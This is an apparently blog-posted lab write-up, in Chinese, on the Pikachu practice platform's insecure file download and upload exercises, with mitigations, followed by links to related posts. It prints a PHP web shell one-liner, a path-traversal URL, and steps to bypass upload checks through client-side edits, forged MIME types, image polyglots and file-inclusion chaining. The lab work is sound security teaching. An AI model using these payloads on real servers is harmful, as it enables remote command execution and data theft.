Pikachu漏洞练习平台实验——不安全的文件下载和上传(七)
1.不安全的文件下载
1.1.概述
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。
切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
1.2.实验
相当于把一个文件名传到后端,后台去找这个文件,然后响应输出到前端
测试文件下载漏洞时,我们可以用目录遍历的方式
http://192.168.171.133/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../../../../1.txt
这时候就能下载到我们想要的文件,尤其是 Linux 上很多配置文件都有固定的目录
1.3.防范措施
- 对传入的文件名进行严格的过滤和限定
- 对文件下载的目录进行严格的过滤
2.不安全的文件上传
2.1.概述
因为业务功能需要,很多 Web 站点都有文件上传的接口,比如:
- 注册时上传头像图片(比如jpg,png,gif等)
- 上传文件附件(doc,xls等)
而在后台开发时,并没有对上传的文件进行安全考虑,或者采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件(如:一句话木马)
从而通过对该恶意文件的访问来控制整个 Web 后台
2.2.测试流程
- 对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等)
- 尝试上传不同类型的 “ 恶意 ” 文件,比如 xx.php 文件,分析结果
- 查看 html 源码,看是否通过 js 在前端做了限制,可以绕过
- 尝试使用不同方式进行绕过:黑白名单绕过 / MIME类型绕过 / 目录0x00截断绕过等
- 猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试
2.3.客户端 check
我们先进行 客户端check 这个实验,这里只允许我们上传图片
我们选择一个 php 文件时,会直接提示文件不符合要求,内容如下
<?php echo shell_exec($_GET['cmd']);?>
下面看一下这个限制是不是通过前端完成的
可以看到,当 input 标签的状态发生改变时,就会调用 checkFileExt(),下面是这个函数的源码
这个函数会判断文件的后缀是否在 jpg、png 和 gif 中,是这些后缀才运行上传。
但是前端做的限制只是辅助作用,是可以绕过的,比如直接删掉 onchange 中的内容
这时候就能上传了
然后利用上传的文件进行操作
http://192.168.171.133/pikachu/vul/unsafeupload/uploads/hack.php?cmd=ipconfig
2.4.服务端check
MIME
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。常见的 MIME 类型,比如:
- 超文本标记语言:.html,.html text.html
- 普通文件:.txt text/plain
- RTF文件:.rtf application/rtf
- GIF图形:.gif image/gif
- JPEG图形:.jpeg,.jpg image/jpeg
$_FILES()函数
它从浏览器的HTTP头里获取 Content-Type ,这个 Content-Type 前端用户是可以控制的
通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件
第一个参数是表单的 input name,第二个下标可以是 “name”,“type”,“size”,“tmp_name” 或 “error”,就像这样:
- $_FILES['file']['name']:被上传文件的名称
- $_FILES['file']['type']:被上传文件的类型
- $_FILES['file']['size']:被上传文件的大小
- $_FILES['file']['tmp_name']:存储在服务器的文件的临时副本的名称
- $_FILES['file']['error']:由文件上传导致的错误代码
实验
当我们上传一个 php 文件时,会报错,下面通过 BurpSuite 修改请求头
修改成 image/png,或者别的图片类型都行
这时候文件就上传成功了
2.5. getimagesize() 类型验证
getimagesize() 返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。
它读取目标文件的 16 进制的头几个字符串,看符不符合图片要求,固定的图片文件前面几个字符串是一样的
但是图片头可以被伪造,因此还是可以被绕过
我们可以用 xxd 这个命令查看图片的第一行
xxd image.png | head -n 1
我们可以尝试上传一个包含恶意代码的图片,制作方法如下
- 方法1:CMD命令直接伪造头部GIF89A:copy /b test.png + muma.php cccc.png
- 方法2:使用GIMP(开源的图片修改软件),通过增加备注,写入执行命令
<?php phpinfo(); ?>
然后上传这个 ccc.png 文件
但是我们访问这个图片,恶意代码是不会被执行的。我们可以结合本地文件包含漏洞进一步利用,猜测上传图片所在的位置
http://192.168.171.133/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2019/10/09/6470185d9d609075689635710502.png&submit=Submit+Query
2.6.防范措施
- 不要在前端使用 JS 实施上传限制策略
- 通过服务端对上传文件进行限制:
- 进行多条件组合检查:比如文件的大小,路径,扩展名,文件类型,文件完整性
- 对上传的文件在服务器上存储时进行重命名(制定合理的命名规则)
- 对服务器端上传的目录进行权限控制(比如只读),限制执行权限带来的危害
Pikachu漏洞练习平台实验——不安全的文件下载和上传(七)的更多相关文章
- Pikachu漏洞练习平台实验——XSS(二)
概述 简介 XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户 XSS漏洞可以用来进行钓鱼攻击.前端js挖矿.盗取用户cookie,甚至对主机进行远程控制 攻击流程 假设存在漏洞的是 ...
- Pikachu漏洞练习平台实验——php反序列化、XXE、SSRF(九)
1.序列化和反序列化 1.1.概述 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize()序列化说通俗点就是把一个对象变成 ...
- Pikachu漏洞练习平台实验——SQL注入(四)
1.概述 1.1发生原因 SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄 ...
- Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)
1.概述 1.1简介 在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能.比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调 ...
- Pikachu漏洞练习平台实验——CSRF(三)
概述 CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造 在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接) 然后欺骗目标用户进行点击,用户 ...
- Pikachu漏洞练习平台实验——越权漏洞(八)
1.概述 由于没有对用户权限进行严格的判断 导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超管)范围内的操作 水行越权:A用户和B用户属于同一级别用户,但各自不能操作对方个人信息.A用户如 ...
- Pikachu漏洞练习平台实验——RCE(五)
1.概述 RCE(Remote Command/Code Execute) 给攻击者向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行一般出现这种漏洞,是因为应用系统从设计 ...
- Pikachu漏洞练习平台实验——暴力破解(一)
概述 一个有效的字典可以大大提高暴力破解的效率 比如常用的用户名/密码TOP500 脱裤后的账号密码(社工库) 根据特定的对象(比如手机.生日和银行卡号等)按照指定的规则来生成密码 暴力破解流程 确认 ...
- kali上部署dvwa漏洞测试平台
kali上部署dvwa漏洞测试平台 一.获取dvwa安装包并解压 二.赋予dvwa文件夹相应权限 三.配置Mysql数据库 四.启动apache2和mysql服务 五.在网页配置dvwa 六.登陆到D ...
随机推荐
- SQLServer查看及设置最大连接数
很多时候自己本地开发会遇到 ,打开几个连接正常访问 之后就报错误,这时候需要调整sqlserver 最大连接数. 1. 查询最大连接数 SELECT value_in_useFROM sys.conf ...
- R语言——ggplot2补充知识点
案例 ggplot(head(age_data,10),aes(x=reorder(Country,age_median),y=age_median))+ geom_bar(aes(fill=Coun ...
- 剖析 Vue.js 内部运行机制 (1)
1. new Vue() 之后. Vue 会调用 _init 函数进行初始化,也就是这里的 init 过程,它会初始化生命周 期.事件. props. methods. data. computed ...
- 多组件共享-vuex
1.解决多个组件共享同一状态数据问题1)多个视图共享同一状态2)来自不同视图的触发事件需要变更同一状态文档API:https://vuex.vuejs.org/zh/api/ 2.组件与store连接 ...
- 黑客已经瞄准5G网络,如何防止LTE网络攻击?
黑客是如何攻击5G网络?即使5G进行大规模应用,LTE技术会被淘汰吗?那么我们应该如何防止LTE网络攻击? 5G-网络黑客 即将推出的5G网络也可能容易受到这些攻击,来自中国网络安全研究人员表示,尽管 ...
- java 小数精确计算
小数精确计算 System.out.println(2.00 -1.10);//0.8999999999999999 上面的计算出的结果不是 0.9,而是一连串的小数.问题在于1.1这个数字不能被精确 ...
- 封装 pyinstaller -F -i b.ico excel.py
安装pywin32,可以参考<怎么给python安装pywin32模块?> 一定要注意对应的python版本,否则不能安装. 5怎么给python安装pywin32模块? 2 用命 ...
- 当 Messaging 遇上 Jepsen
分布式系统面临的挑战 Is it better to be alive and wrong or right and dead? 随着计算机技术的发展,系统架构从集中式演进到分布式.分布式系统相对于单 ...
- iOS多媒体总结&进入后台播放音乐
1. 播放mp3需要导入框架,AVFoundation支持音频文件(.caf..aif..wav..wmv和.mp3)的播放. #import <AVFoundation/AVFoundatio ...
- 无法启用web调试服务器
场景:vs2005 webservice 项目属性中:web : 使用IIS web 服务器 http://localhost/WSMA --- >自动创建虚拟目录 点击调试的时候F ...